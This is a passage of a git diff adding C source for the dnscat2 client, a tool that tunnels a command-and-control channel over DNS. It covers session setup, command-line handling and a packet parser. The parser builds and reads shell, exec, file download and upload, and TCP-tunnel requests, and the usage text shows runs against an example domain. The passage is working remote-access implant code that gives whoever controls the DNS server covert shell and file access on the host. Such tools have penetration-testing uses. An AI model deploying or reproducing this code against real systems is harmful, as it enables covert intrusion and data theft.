isn't beautiful, but it does the job and it's only local + * stuff anyway (no chance of being exploited). */ + char hostname[64]; + buffer_t *buffer = NULL; + + /* Read the hostname */ + gethostname(hostname, 64); + hostname[63] = '\0'; + + buffer = buffer_create(BO_BIG_ENDIAN); + buffer_add_string(buffer, base); + buffer_add_string(buffer, " ("); + buffer_add_string(buffer, hostname); + buffer_add_string(buffer, ")"); + buffer_add_int8(buffer, 0); + + return (char*)buffer_create_string_and_destroy(buffer, NULL); +} + +static session_t *session_create(char *name) +{ + session_t *session = (session_t*)safe_malloc(sizeof(session_t)); + + session->id = rand() % 0xFFFF; + + /* Check if it's a 16-bit value (I set it to a bigger value to set a random isn) */ + if(isn == (isn & 0xFFFF)) + session->my_seq = (uint16_t) isn; /* Use the hardcoded one. */ + else + session->my_seq = rand() % 0xFFFF; /* Random isn */ + +#ifndef NO_ENCRYPTION + if(do_encryption) + session->state = SESSION_STATE_BEFORE_INIT; + else + session->state = SESSION_STATE_NEW; +#else + session->state = SESSION_STATE_NEW; +#endif + session->their_seq = 0; + session->is_shutdown = FALSE; + + session->last_transmit = 0; + session->missed_transmissions = 0; + session->outgoing_buffer = buffer_create(BO_BIG_ENDIAN); + +#ifndef NO_ENCRYPTION + session->encryptor = encryptor_create(preshared_secret); + + if(!session->encryptor) + { + LOG_FATAL("Failed to generate a keypair!"); + exit(1); + } +#endif + session->name = NULL; + if(name) + { + session->name = get_name(name); + LOG_INFO("Setting session->name to %s", session->name); + } + + return session; +} + +session_t *session_create_console(select_group_t *group, char *name) +{ + session_t *session = session_create(name); + + session->driver = driver_create(DRIVER_TYPE_CONSOLE, driver_console_create(group)); + + return session; +} + +session_t *session_create_exec(select_group_t *group, char *name, char *process) +{ + session_t *session = session_create(name); + + session->driver = driver_create(DRIVER_TYPE_EXEC, driver_exec_create(group, process)); + + return session; +} + +session_t *session_create_command(select_group_t *group, char *name) +{ + session_t *session = session_create(name); + + session->driver = driver_create(DRIVER_TYPE_COMMAND, driver_command_create(group)); + session->is_command = TRUE; + + return session; +} + +session_t *session_create_ping(select_group_t *group, char *name) +{ + session_t *session = session_create(name); + + session->driver = driver_create(DRIVER_TYPE_PING, driver_ping_create(group)); + session->is_ping = TRUE; + + return session; +} + +void debug_set_isn(uint16_t value) +{ + isn = value; + + LOG_WARNING("WARNING: Setting a custom ISN can be dangerous!"); +} + +void session_enable_packet_trace() +{ + packet_trace = TRUE; +} + +void session_set_delay(int delay_ms) +{ + packet_delay = delay_ms; +} + +void session_set_transmit_immediately(NBBOOL transmit_immediately) +{ + transmit_instantly_on_data = transmit_immediately; +} + +#ifndef NO_ENCRYPTION +void session_set_preshared_secret(char *new_preshared_secret) +{ + preshared_secret = new_preshared_secret; +} +void session_set_encryption(NBBOOL new_encryption) +{ + do_encryption = FALSE; +} +#endif + +NBBOOL session_is_shutdown(session_t *session) +{ + return session->is_shutdown; +} + +char *session_state_to_string(session_state_t state) +{ + switch(state) + { +#ifndef NO_ENCRYPTION + case SESSION_STATE_BEFORE_INIT: + return "BEFORE_INIT"; + case SESSION_STATE_BEFORE_AUTH: + return "BEFORE_AUTH"; +#endif + case SESSION_STATE_NEW: + return "NEW"; + case SESSION_STATE_ESTABLISHED: + return "ESTABLISHED"; + case SESSION_STATE_COUNT: + return "Unknown!"; + } + + return "Unknown"; +}; diff --git a/client/controller/session.h b/client/controller/session.h new file mode 100644 index 0000000..046a18b --- /dev/null +++ b/client/controller/session.h @@ -0,0 +1,92 @@ +/* session.h + * By Ron Bowes + * March, 2013 + * + * See LICENSE.md + * + * A session keeps track of an active dnscat session. That includes + * bookkeeping data like sequence/acknowledgement numbers and buffering + * data that hasn't been sent yet. + */ + +#ifndef __SESSION_H__ +#define __SESSION_H__ + +#include "drivers/driver.h" +#include "libs/buffer.h" +#include "libs/memory.h" +#include "libs/types.h" + +#ifndef NO_ENCRYPTION +#include "libs/crypto/encryptor.h" +#endif + +typedef enum +{ +#ifndef NO_ENCRYPTION + SESSION_STATE_BEFORE_INIT, + SESSION_STATE_BEFORE_AUTH, +#endif + SESSION_STATE_NEW, + SESSION_STATE_ESTABLISHED, + + SESSION_STATE_COUNT +} session_state_t; + +char *session_state_to_string(session_state_t state); + +typedef struct +{ + /* Session information */ + uint16_t id; + session_state_t state; + uint16_t their_seq; + uint16_t my_seq; + NBBOOL is_shutdown; + char *name; + + uint64_t last_transmit; + + int missed_transmissions; + + uint16_t options; + NBBOOL is_command; + + NBBOOL is_ping; + + driver_t *driver; + + buffer_t *outgoing_buffer; + +#ifndef NO_ENCRYPTION + encryptor_t *encryptor; + + /* Used for renegotiation. */ + encryptor_t *new_encryptor; +#endif +} session_t; + +/* TODO: re-order and comment these. */ +session_t *session_create_console(select_group_t *group, char *name); +session_t *session_create_exec(select_group_t *group, char *name, char *process); +session_t *session_create_command(select_group_t *group, char *name); +session_t *session_create_ping(select_group_t *group, char *name); + +void debug_set_isn(uint16_t value); + +NBBOOL session_is_shutdown(session_t *session); + +NBBOOL session_data_incoming(session_t *session, uint8_t *data, size_t length); +uint8_t *session_get_outgoing(session_t *session, size_t *packet_length, size_t max_length); + +void session_enable_packet_trace(); +void session_set_delay(int delay_ms); +void session_set_transmit_immediately(NBBOOL transmit_immediately); +#ifndef NO_ENCRYPTION +void session_set_preshared_secret(char *new_preshared_secret); +void session_set_encryption(NBBOOL new_encryption); +#endif +void session_kill(session_t *session); +void session_destroy(session_t *session); + +#endif diff --git a/client/dnscat.c b/client/dnscat.c new file mode 100644 index 0000000..c5844fb --- /dev/null +++ b/client/dnscat.c @@ -0,0 +1,586 @@ +/* dnscat.c + * Created March/2013 + * By Ron Bowes + * + * See LICENSE.md + */ +#include +#include +#include +#include +#include +#include +#include + +#ifdef WIN32 +#include "libs/my_getopt.h" +#else +#include +#include +#endif + +#include "controller/controller.h" +#include "controller/session.h" +#include "libs/buffer.h" +#include "libs/ll.h" +#include "libs/log.h" +#include "libs/memory.h" +#include "libs/select_group.h" +#include "libs/udp.h" +#include "tunnel_drivers/driver_dns.h" +#include "tunnel_drivers/tunnel_driver.h" + +/* Default options */ +#define NAME "dnscat2" +#define VERSION "v0.07" + +/* Default options */ +#define DEFAULT_DNS_HOST NULL +#define DEFAULT_DNS_PORT 53 + +/* Define these outside the function so they can be freed by the atexec() */ +select_group_t *group = NULL; +driver_dns_t *tunnel_driver = NULL; +char *system_dns = NULL; + +typedef struct +{ + char *process; +} exec_options_t; + +typedef struct +{ + driver_type_t type; + union + { + exec_options_t exec; + } options; +} make_driver_t; + +static make_driver_t *make_console() +{ + make_driver_t *make_driver = (make_driver_t*) safe_malloc(sizeof(make_driver_t)); + make_driver->type = DRIVER_TYPE_CONSOLE; + + return make_driver; +} + +static make_driver_t *make_command() +{ + make_driver_t *make_driver = (make_driver_t*) safe_malloc(sizeof(make_driver_t)); + make_driver->type = DRIVER_TYPE_COMMAND; + + return make_driver; +} + +static make_driver_t *make_ping() +{ + make_driver_t *make_driver = (make_driver_t*) safe_malloc(sizeof(make_driver_t)); + make_driver->type = DRIVER_TYPE_PING; + + return make_driver; +} + +static make_driver_t *make_exec(char *process) +{ + make_driver_t *make_driver = (make_driver_t*) safe_malloc(sizeof(make_driver_t)); + make_driver->type = DRIVER_TYPE_EXEC; + make_driver->options.exec.process = process; + + return make_driver; +} + +static int create_drivers(ll_t *drivers) +{ + int num_created = 0; + make_driver_t *this_driver; + + while((this_driver = ll_remove_first(drivers))) + { + num_created++; + switch(this_driver->type) + { + case DRIVER_TYPE_CONSOLE: + printf("Creating a console session!\n"); + controller_add_session(session_create_console(group, "console")); + break; + + case DRIVER_TYPE_EXEC: + printf("Creating a exec('%s') session!\n", this_driver->options.exec.process); + controller_add_session(session_create_exec(group, this_driver->options.exec.process, this_driver->options.exec.process)); + break; + + case DRIVER_TYPE_COMMAND: + printf("Creating a command session!\n"); + controller_add_session(session_create_command(group, "command")); + break; + + case DRIVER_TYPE_PING: + printf("Creating a ping session!\n"); + controller_add_session(session_create_ping(group, "ping")); + break; + } + safe_free(this_driver); + } + + /* Default to creating a command session. */ + if(num_created == 0) + { + num_created++; + controller_add_session(session_create_command(group, "command")); + } + + return num_created; +} + +typedef struct +{ + char *host; + uint16_t port; + char *server; + char *domain; +} dns_options_t; + +typedef struct +{ + tunnel_driver_type_t type; + union + { + dns_options_t dns_options; + }; +} make_tunnel_driver_t; + +static void cleanup(void) +{ + LOG_WARNING("Terminating"); + + controller_destroy(); + + if(tunnel_driver) + driver_dns_destroy(tunnel_driver); + + if(group) + select_group_destroy(group); + + if(system_dns) + safe_free(system_dns); + + print_memory(); +} + +void usage(char *name, char *message) +{ + fprintf(stderr, +"Usage: %s [args] [domain]\n" +"\n" +"General options:\n" +" --help -h This page.\n" +" --version Get the version.\n" +" --delay Set the maximum delay between packets (default: 1000).\n" +" The minimum is technically 50 for technical reasons,\n" +" but transmitting too quickly might make performance\n" +" worse.\n" +" --steady If set, always wait for the delay before sending.\n" +" the next message (by default, when a response is\n" +" received, the next message is immediately transmitted.\n" +" --max-retransmits Only re-transmit a message times before giving up\n" +" and assuming the server is dead (default: 20).\n" +" --retransmit-forever Set if you want the client to re-transmit forever\n" +" until a server turns up. This can be helpful, but also\n" +" makes the server potentially run forever.\n" +#ifndef NO_ENCRYPTION +" --secret Set the shared secret; set the same one on the server\n" +" and the client to prevent man-in-the-middle attacks!\n" +" --no-encryption Turn off encryption/authentication.\n" +#endif +"\n" +"Input options:\n" +" --console Send/receive output to the console.\n" +" --exec -e Execute the given process and link it to the stream.\n" +/*" --listen -l Listen on the given port and link each connection to\n" +" a new stream\n"*/ +" --command Start an interactive 'command' session (default).\n" +" --ping Simply check if there's a dnscat2 server listening.\n" +"\n" +"Debug options:\n" +" -d Display more debug info (can be used multiple times).\n" +" -q Display less debug info (can be used multiple times).\n" +" --packet-trace Display incoming/outgoing dnscat2 packets\n" +"\n" +"Driver options:\n" +" --dns Enable DNS mode with the given domain.\n" +" domain= The domain to make requests for.\n" +" host= The host to listen on (default: 0.0.0.0).\n" +" port= The port to listen on (default: 53).\n" +" type= The type of DNS requests to use, can use\n" +" multiple comma-separated (options: TXT, MX,\n" +" CNAME, A, AAAA) (default: "DEFAULT_TYPES").\n" +" server= The upstream server for making DNS requests\n" +" (default: autodetected = %s).\n" +#if 0 +" --tcp Enable TCP mode.\n" +" port= The port to listen on (default: 1234).\n" +" host= The host to listen on (default: 0.0.0.0).\n" +#endif +"\n" +"Examples:\n" +" ./dnscat --dns domain=skullseclabs.org\n" +" ./dnscat --dns domain=skullseclabs.org,server=8.8.8.8,port=53\n" +" ./dnscat --dns domain=skullseclabs.org,port=5353\n" +" ./dnscat --dns domain=skullseclabs.org,port=53,type=A,CNAME\n" +#if 0 +" --tcp port=1234\n" +" --tcp port=1234,host=127.0.0.1\n" +#endif +"\n" +"By default, a --dns driver on port 53 is enabled if a hostname is\n" +"passed on the commandline:\n" +"\n" +" ./dnscat skullseclabs.org\n" +"\n" +"ERROR: %s\n" +"\n" +, name, system_dns, message +); + exit(0); +} + +driver_dns_t *create_dns_driver_internal(select_group_t *group, char *domain, char *host, uint16_t port, char *type, char *server) +{ + if(!server && !domain) + { + printf("\n"); + printf("** WARNING!\n"); + printf("*\n"); + printf("* It looks like you're running dnscat2 with the system DNS server,\n"); + printf("* and no domain name!"); + printf("*\n"); + printf("* That's cool, I'm not going to stop you, but the odds are really,\n"); + printf("* really high that this won't work. You either need to provide a\n"); + printf("* domain to use DNS resolution (requires an authoritative server):\n"); + printf("*\n"); + printf("* dnscat mydomain.com\n"); + printf("*\n"); + printf("* Or you have to provide a server to connect directly to:\n"); + printf("*\n"); + printf("* dnscat --dns=server=1.2.3.4,port=53\n"); + printf("*\n"); + printf("* I'm going to let this keep running, but once again, this likely\n"); + printf("* isn't what you want!\n"); + printf("*\n"); + printf("** WARNING!\n"); + printf("\n"); + } + + if(!server) + server = system_dns; + + if(!server) + { + LOG_FATAL("Couldn't determine the system DNS server! Please manually set"); + LOG_FATAL("the dns server with --dns server=8.8.8.8"); + LOG_FATAL(""); + LOG_FATAL("You can also fix this by creating a proper /etc/resolv.conf\n"); + exit(1); + } + + printf("Creating DNS driver:\n"); + printf(" domain = %s\n", domain); + printf(" host = %s\n", host); + printf(" port = %u\n", port); + printf(" type = %s\n", type); + printf(" server = %s\n", server); + + return driver_dns_create(group, domain, host, port, type, server); +} + +driver_dns_t *create_dns_driver(select_group_t *group, char *options) +{ + char *domain = NULL; + char *host = "0.0.0.0"; + uint16_t port = 53; + char *type = DEFAULT_TYPES; + char *server = system_dns; + + char *token = NULL; + + for(token = strtok(options, ":,"); token && *token; token = strtok(NULL, ":,")) + { + char *name = token; + char *value = strchr(token, '='); + + if(value) + { + *value = '\0'; + value++; + + if(!strcmp(name, "domain")) + domain = value; + else if(!strcmp(name, "host")) + host = value; + else if(!strcmp(name, "port")) + port = atoi(value); + else if(!strcmp(name, "type")) + type = value; + else if(!strcmp(name, "server")) + server = value; + else + { + LOG_FATAL("Unknown --dns option: %s\n", name); + exit(1); + } + } + else + { + LOG_FATAL("ERROR parsing --dns: it has to be colon-separated name=value pairs!\n"); + exit(1); + } + } + + return create_dns_driver_internal(group, domain, host, port, type, server); +} + +void create_tcp_driver(char *options) +{ + char *host = "0.0.0.0"; + uint16_t port = 1234; + + printf(" host = %s\n", host); + printf(" port = %u\n", port); +} + +int main(int argc, char *argv[]) +{ + /* Define the options specific to the DNS protocol. */ + struct option long_options[] = + { + /* General options */ + {"help", no_argument, 0, 0}, /* Help */ + {"h", no_argument, 0, 0}, + {"version", no_argument, 0, 0}, /* Version */ +#if 0 + {"name", required_argument, 0, 0}, /* Name */ + {"n", required_argument, 0, 0}, + {"download",required_argument, 0, 0}, /* Download */ + {"n", required_argument, 0, 0}, + {"chunk", required_argument, 0, 0}, /* Download chunk */ + {"isn", required_argument, 0, 0}, /* Initial sequence number */ +#endif + + {"delay", required_argument, 0, 0}, /* Retransmit delay */ + {"steady", no_argument, 0, 0}, /* Don't transmit immediately after getting a response. */ + {"max-retransmits", required_argument, 0, 0}, /* Set the max retransmissions */ + {"retransmit-forever", no_argument, 0, 0}, /* Retransmit forever if needed */ +#ifndef NO_ENCRYPTION + {"secret", required_argument, 0, 0}, /* Pre-shared secret */ + {"no-encryption", no_argument, 0, 0}, /* Disable encryption */ +#endif + + /* i/o options. */ + {"console", no_argument, 0, 0}, /* Enable console */ + {"exec", required_argument, 0, 0}, /* Enable execute */ + {"e", required_argument, 0, 0}, + {"command", no_argument, 0, 0}, /* Enable command (default) */ + {"ping", no_argument, 0, 0}, /* Ping */ + + /* Tunnel drivers */ + {"dns", required_argument, 0, 0}, /* Enable DNS */ +#if 0 + {"tcp", optional_argument, 0, 0}, /* Enable TCP */ +#endif + + /* Debug options */ + {"d", no_argument, 0, 0}, /* More debug */ + {"q", no_argument, 0, 0}, /* Less debug */ + {"packet-trace", no_argument, 0, 0}, /* Trace packets */ + + /* Sentry */ + {0, 0, 0, 0} /* End */ + }; + + int c; + int option_index; + const char *option_name; + + NBBOOL tunnel_driver_created = FALSE; + ll_t *drivers_to_create = ll_create(NULL); + uint32_t drivers_created = 0; + + log_level_t min_log_level = LOG_LEVEL_WARNING; + + group = select_group_create(); + system_dns = dns_get_system(); + + /* Seed with the current time; not great, but it'll suit our purposes. */ + srand((unsigned int)time(NULL)); + + /* This is required for win32 support. */ + winsock_initialize(); + + /* Set the default log level */ + log_set_min_console_level(min_log_level); + + /* Parse the command line options. */ + opterr = 0; + while((c = getopt_long_only(argc, argv, "", long_options, &option_index)) != -1) + { + switch(c) + { + case 0: + option_name = long_options[option_index].name; + + /* General options */ + if(!strcmp(option_name, "help") || !strcmp(option_name, "h")) + { + usage(argv[0], "--help requested"); + } + if(!strcmp(option_name, "version")) + { + printf(NAME" "VERSION" (client)\n"); + exit(0); + } + else if(!strcmp(option_name, "isn")) + { + uint16_t isn = (uint16_t) (atoi(optarg) & 0xFFFF); + debug_set_isn(isn); + } + else if(!strcmp(option_name, "delay")) + { + int delay = (int) atoi(optarg); + session_set_delay(delay); + LOG_INFO("Setting delay between packets to %dms", delay); + } + else if(!strcmp(option_name, "steady")) + { + session_set_transmit_immediately(FALSE); + } + else if(!strcmp(option_name, "max-retransmits")) + { + controller_set_max_retransmits(atoi(optarg)); + } + else if(!strcmp(option_name, "retransmit-forever")) + { + controller_set_max_retransmits(-1); + } +#ifndef NO_ENCRYPTION + else if(!strcmp(option_name, "secret")) + { + session_set_preshared_secret(optarg); + } + else if(!strcmp(option_name, "no-encryption")) + { + session_set_encryption(FALSE); + } +#endif + + /* i/o drivers */ + else if(!strcmp(option_name, "console")) + { + ll_add(drivers_to_create, ll_32(drivers_created++), make_console()); + +/* session = session_create_console(group, "console"); + controller_add_session(session); */ + } + else if(!strcmp(option_name, "exec") || !strcmp(option_name, "e")) + { + ll_add(drivers_to_create, ll_32(drivers_created++), make_exec(optarg)); + +/* session = session_create_exec(group, optarg, optarg); + controller_add_session(session); */ + } + else if(!strcmp(option_name, "command")) + { + ll_add(drivers_to_create, ll_32(drivers_created++), make_command()); + +/* session = session_create_command(group, "command"); + controller_add_session(session); */ + } + else if(!strcmp(option_name, "ping")) + { + ll_add(drivers_to_create, ll_32(drivers_created++), make_ping()); + +/* session = session_create_ping(group, "ping"); + controller_add_session(session); */ + } + + /* Tunnel driver options */ + else if(!strcmp(option_name, "dns")) + { + tunnel_driver_created = TRUE; + tunnel_driver = create_dns_driver(group, optarg); + } + else if(!strcmp(option_name, "tcp")) + { + tunnel_driver_created = TRUE; + create_tcp_driver(optarg); + } + + /* Debug options */ + else if(!strcmp(option_name, "d")) + { + if(min_log_level > 0) + { + min_log_level--; + log_set_min_console_level(min_log_level); + } + } + else if(!strcmp(option_name, "q")) + { + min_log_level++; + log_set_min_console_level(min_log_level); + } + else if(!strcmp(option_name, "packet-trace")) + { + session_enable_packet_trace(); + } + else + { + usage(argv[0], "Unknown option"); + } + break; + + case '?': + default: + usage(argv[0], "Unrecognized argument"); + break; + } + } + + create_drivers(drivers_to_create); + ll_destroy(drivers_to_create); + + if(tunnel_driver_created && argv[optind]) + { + printf("It looks like you used --dns and also passed a domain on the commandline.\n"); + printf("That's not allowed! Either use '--dns domain=xxx' or don't use a --dns\n"); + printf("argument!\n"); + exit(1); + } + + /* If no output was set, use the domain, and use the last option as the + * domain. */ + if(!tunnel_driver_created) + { + /* Make sure they gave a domain. */ + if(optind >= argc) + { + printf("Starting DNS driver without a domain! This will only work if you\n"); + printf("are directly connecting to the dnscat2 server.\n"); + printf("\n"); + printf("You'll need to use --dns server= if you aren't.\n"); + tunnel_driver = create_dns_driver_internal(group, NULL, "0.0.0.0", 53, DEFAULT_TYPES, NULL); + } + else + { + tunnel_driver = create_dns_driver_internal(group, argv[optind], "0.0.0.0", 53, DEFAULT_TYPES, NULL); + } + } + + /* Be sure we clean up at exit. */ + atexit(cleanup); + + /* Start the driver! */ + driver_dns_go(tunnel_driver); + + return 0; +} diff --git a/client/drivers/command/command_packet.c b/client/drivers/command/command_packet.c new file mode 100644 index 0000000..da0f516 --- /dev/null +++ b/client/drivers/command/command_packet.c @@ -0,0 +1,722 @@ +/* command_packet.c + * By Ron Bowes + * + * See LICENSE.md + */ + +#include +#include +#include + +#include "libs/buffer.h" +#include "libs/log.h" +#include "libs/memory.h" + +#ifdef WIN32 +#include "libs/pstdint.h" +#else +#include +#endif + +#include "command_packet.h" + +/* Parse a packet from a byte stream. */ +static command_packet_t *command_packet_parse(uint8_t *data, uint32_t length) +{ + command_packet_t *p = safe_malloc(sizeof(command_packet_t)); + buffer_t *buffer = buffer_create_with_data(BO_BIG_ENDIAN, data, length); + uint16_t packed_id = buffer_read_next_int16(buffer); + + /* The first bit of the request_id represents a response */ + p->request_id = (packed_id & 0x7FFF); + p->is_request = (packed_id & 0x8000) ? FALSE : TRUE; + + p->command_id = (command_packet_type_t) buffer_read_next_int16(buffer); + + switch(p->command_id) + { + case COMMAND_PING: + if(p->is_request) + p->r.request.body.ping.data = buffer_alloc_next_ntstring(buffer); + else + p->r.response.body.ping.data = buffer_alloc_next_ntstring(buffer); + break; + + case COMMAND_SHELL: + if(p->is_request) + p->r.request.body.shell.name = buffer_alloc_next_ntstring(buffer); + else + p->r.response.body.shell.session_id = buffer_read_next_int16(buffer); + break; + + case COMMAND_EXEC: + if(p->is_request) + { + p->r.request.body.exec.name = buffer_alloc_next_ntstring(buffer); + p->r.request.body.exec.command = buffer_alloc_next_ntstring(buffer); + } + else + { + p->r.response.body.exec.session_id = buffer_read_next_int16(buffer); + } + break; + + case COMMAND_DOWNLOAD: + if(p->is_request) + { + p->r.request.body.download.filename = buffer_alloc_next_ntstring(buffer); + } + else + { + p->r.response.body.download.data = (uint8_t*)buffer_read_remaining_bytes(buffer, (size_t*)&p->r.response.body.download.length, -1, TRUE); + } + + break; + + case COMMAND_UPLOAD: + if(p->is_request) + { + p->r.request.body.upload.filename = buffer_alloc_next_ntstring(buffer); + p->r.request.body.upload.data = buffer_read_remaining_bytes(buffer, (size_t*)&p->r.request.body.upload.length, -1, TRUE); + } + else + { + } + break; + + case COMMAND_SHUTDOWN: + break; + + case COMMAND_DELAY: + if(p->is_request) + { + p->r.request.body.delay.delay = buffer_read_next_int32(buffer); + } + break; + + case TUNNEL_CONNECT: + if(p->is_request) + { + p->r.request.body.tunnel_connect.options = buffer_read_next_int32(buffer); + p->r.request.body.tunnel_connect.host = buffer_alloc_next_ntstring(buffer); + p->r.request.body.tunnel_connect.port = buffer_read_next_int16(buffer); + } + else + { + p->r.response.body.tunnel_connect.tunnel_id = buffer_read_next_int32(buffer); + } + break; + + case TUNNEL_DATA: + if(p->is_request) + { + p->r.request.body.tunnel_data.tunnel_id = buffer_read_next_int32(buffer); + p->r.request.body.tunnel_data.data = buffer_read_remaining_bytes(buffer, (size_t*)&p->r.request.body.tunnel_data.length, -1, TRUE); + } + else + { + /* n/a */ + } + break; + + case TUNNEL_CLOSE: + if(p->is_request) + { + p->r.request.body.tunnel_close.tunnel_id = buffer_read_next_int32(buffer); + p->r.request.body.tunnel_close.reason = buffer_alloc_next_ntstring(buffer); + } + else + { + /* n/a */ + } + break; + + case COMMAND_ERROR: + if(p->is_request) + { + p->r.request.body.error.status = buffer_read_next_int16(buffer); + p->r.request.body.error.reason = buffer_alloc_next_ntstring(buffer); + } + else + { + p->r.request.body.error.status = buffer_read_next_int16(buffer); + p->r.request.body.error.reason = buffer_alloc_next_ntstring(buffer); + } + break; + + default: + LOG_FATAL("Unknown command_id: 0x%04x", p->command_id); + exit(1); + } + + return p; +} + +command_packet_t *command_packet_read(buffer_t *stream) +{ + size_t remaining_bytes = buffer_get_remaining_bytes(stream); + uint32_t needed_bytes = -1; + uint8_t *data; + command_packet_t *out = NULL; + size_t length; + + /* If we don't have a length, we're done. */ + if(remaining_bytes < 4) + return NULL; + + /* Check for an overflow. */ + needed_bytes = buffer_peek_next_int32(stream); + if(needed_bytes + 4 < needed_bytes) + { + LOG_FATAL("Overflow in command_packet!"); + exit(1); + } + + /* Make sure there are enough bytes present for the length + data. */ + if(remaining_bytes < needed_bytes + 4) + return NULL; + + /* Consume the length. */ + buffer_read_next_int32(stream); + + /* Read the data. */ + data = buffer_read_remaining_bytes(stream, &length, needed_bytes, TRUE); + + /* Sanity check. */ + if(length != needed_bytes) + { + LOG_FATAL("Something went very wrong with the buffer class; the wrong number of bytes were read!"); + exit(1); + } + + /* Parse the data and free the buffer. */ + out = command_packet_parse(data, length); + safe_free(data); + + return out; +} + +static command_packet_t *command_packet_create(uint16_t request_id, command_packet_type_t command_id, NBBOOL is_request) +{ + command_packet_t *p = safe_malloc(sizeof(command_packet_t)); + + p->request_id = request_id; + p->command_id = command_id; + p->is_request = is_request; + + return p; +} + +command_packet_t *command_packet_create_ping_request(uint16_t request_id, char *data) +{ + command_packet_t *packet = command_packet_create(request_id, COMMAND_PING, TRUE); + + packet->r.request.body.ping.data = safe_strdup(data); + + return packet; +} + +command_packet_t *command_packet_create_ping_response(uint16_t request_id, char *data) +{ + command_packet_t *packet = command_packet_create(request_id, COMMAND_PING, FALSE); + + packet->r.response.body.ping.data = safe_strdup(data); + + return packet; +} + +command_packet_t *command_packet_create_shell_request(uint16_t request_id, char *name) +{ + command_packet_t *packet = command_packet_create(request_id, COMMAND_SHELL, TRUE); + + packet->r.request.body.shell.name = safe_strdup(name); + + return packet; +} + +command_packet_t *command_packet_create_shell_response(uint16_t request_id, uint16_t session_id) +{ + command_packet_t *packet = command_packet_create(request_id, COMMAND_SHELL, FALSE); + + packet->r.response.body.shell.session_id = session_id; + + return packet; +} + +command_packet_t *command_packet_create_exec_request(uint16_t request_id, char *name, char *command) +{ + command_packet_t *packet = command_packet_create(request_id, COMMAND_EXEC, TRUE); + + packet->r.request.body.exec.name = safe_strdup(name); + packet->r.request.body.exec.command = safe_strdup(command); + + return packet; +} + +command_packet_t *command_packet_create_exec_response(uint16_t request_id, uint16_t session_id) +{ + command_packet_t *packet = command_packet_create(request_id, COMMAND_EXEC, FALSE); + + packet->r.response.body.exec.session_id = session_id; + + return packet; +} + +command_packet_t *command_packet_create_download_request(uint16_t request_id, char *filename) +{ + command_packet_t *packet = command_packet_create(request_id, COMMAND_DOWNLOAD, TRUE); + + packet->r.request.body.download.filename = safe_strdup(filename); + + return packet; +} + +command_packet_t *command_packet_create_download_response(uint16_t request_id, uint8_t *data, uint32_t length) +{ + command_packet_t *packet = command_packet_create(request_id, COMMAND_DOWNLOAD, FALSE); + packet->r.response.body.download.data = safe_malloc(length); + memcpy(packet->r.response.body.download.data, data, length); + packet->r.response.body.download.length = length; + + return packet; +} + +command_packet_t *command_packet_create_upload_request(uint16_t request_id, char *filename, uint8_t *data, uint32_t length) +{ + command_packet_t *packet = command_packet_create(request_id, COMMAND_UPLOAD, TRUE); + + packet->r.request.body.upload.filename = safe_strdup(filename); + packet->r.request.body.upload.data = safe_malloc(length); + memcpy(packet->r.request.body.upload.data, data, length); + packet->r.request.body.upload.length = length; + + return packet; +} + +command_packet_t *command_packet_create_upload_response(uint16_t request_id) +{ + command_packet_t *packet = command_packet_create(request_id, COMMAND_UPLOAD, FALSE); + + return packet; +} + +command_packet_t *command_packet_create_shutdown_response(uint16_t request_id) +{ + command_packet_t *packet = command_packet_create(request_id, COMMAND_SHUTDOWN, FALSE); + + return packet; +} + +command_packet_t *command_packet_create_delay_response(uint16_t request_id) +{ + command_packet_t *packet = command_packet_create(request_id, COMMAND_DELAY, FALSE); + + return packet; +} + +command_packet_t *command_packet_create_tunnel_connect_request(uint16_t request_id, uint32_t options, char *host, uint16_t port) +{ + command_packet_t *packet = command_packet_create(request_id, TUNNEL_CONNECT, TRUE); + + packet->r.request.body.tunnel_connect.options = options; + packet->r.request.body.tunnel_connect.host = safe_strdup(host); + packet->r.request.body.tunnel_connect.port = port; + + return packet; +} + +command_packet_t *command_packet_create_tunnel_connect_response(uint16_t request_id, uint32_t tunnel_id) +{ + command_packet_t *packet = command_packet_create(request_id, TUNNEL_CONNECT, FALSE); + + packet->r.response.body.tunnel_connect.tunnel_id = tunnel_id; + + return packet; +} + +command_packet_t *command_packet_create_tunnel_data_request(uint16_t request_id, uint32_t tunnel_id, uint8_t *data, uint32_t length) +{ + command_packet_t *packet = command_packet_create(request_id, TUNNEL_DATA, TRUE); + + packet->r.request.body.tunnel_data.tunnel_id = tunnel_id; + packet->r.request.body.tunnel_data.data = safe_malloc(length); + memcpy(packet->r.request.body.tunnel_data.data, data, length); + packet->r.request.body.tunnel_data.length = length; + + return packet; +} + +command_packet_t *command_packet_create_tunnel_close_request(uint16_t request_id, uint32_t tunnel_id, char *reason) +{ + command_packet_t *packet = command_packet_create(request_id, TUNNEL_CLOSE, TRUE); + + packet->r.request.body.tunnel_close.tunnel_id = tunnel_id; + packet->r.request.body.tunnel_close.reason = safe_strdup(reason); + + return packet; +} + +command_packet_t *command_packet_create_error_request(uint16_t request_id, uint16_t status, char *reason) +{ + command_packet_t *packet = command_packet_create(request_id, COMMAND_ERROR, TRUE); + + packet->r.request.body.error.status = status; + packet->r.request.body.error.reason = safe_strdup(reason); + + return packet; +} + +command_packet_t *command_packet_create_error_response(uint16_t request_id, uint16_t status, char *reason) +{ + command_packet_t *packet = command_packet_create(request_id, COMMAND_ERROR, FALSE); + + packet->r.response.body.error.status = status; + packet->r.response.body.error.reason = safe_strdup(reason); + + return packet; +} + +/* Free the packet data structures. */ +void command_packet_destroy(command_packet_t *packet) +{ + switch(packet->command_id) + { + case COMMAND_PING: + if(packet->is_request) + { + if(packet->r.request.body.ping.data) + safe_free(packet->r.request.body.ping.data); + } + else + { + if(packet->r.response.body.ping.data) + safe_free(packet->r.response.body.ping.data); + } + break; + + case COMMAND_SHELL: + if(packet->is_request) + { + if(packet->r.request.body.shell.name) + safe_free(packet->r.request.body.shell.name); + } + break; + + case COMMAND_EXEC: + if(packet->is_request) + { + if(packet->r.request.body.exec.name) + safe_free(packet->r.request.body.exec.name); + if(packet->r.request.body.exec.command) + safe_free(packet->r.request.body.exec.command); + } + break; + + case COMMAND_DOWNLOAD: + if(packet->is_request) + { + if(packet->r.request.body.download.filename) + safe_free(packet->r.request.body.download.filename); + } + else + { + if(packet->r.response.body.download.data) + safe_free(packet->r.response.body.download.data); + } + break; + + case COMMAND_UPLOAD: + if(packet->is_request) + { + if(packet->r.request.body.upload.filename) + safe_free(packet->r.request.body.upload.filename); + if(packet->r.request.body.upload.data) + safe_free(packet->r.request.body.upload.data); + } + else + { + } + break; + + case COMMAND_SHUTDOWN: + if(packet->is_request) + { + } + else + { + } + break; + + case COMMAND_DELAY: + break; + + case TUNNEL_CONNECT: + if(packet->is_request) + { + 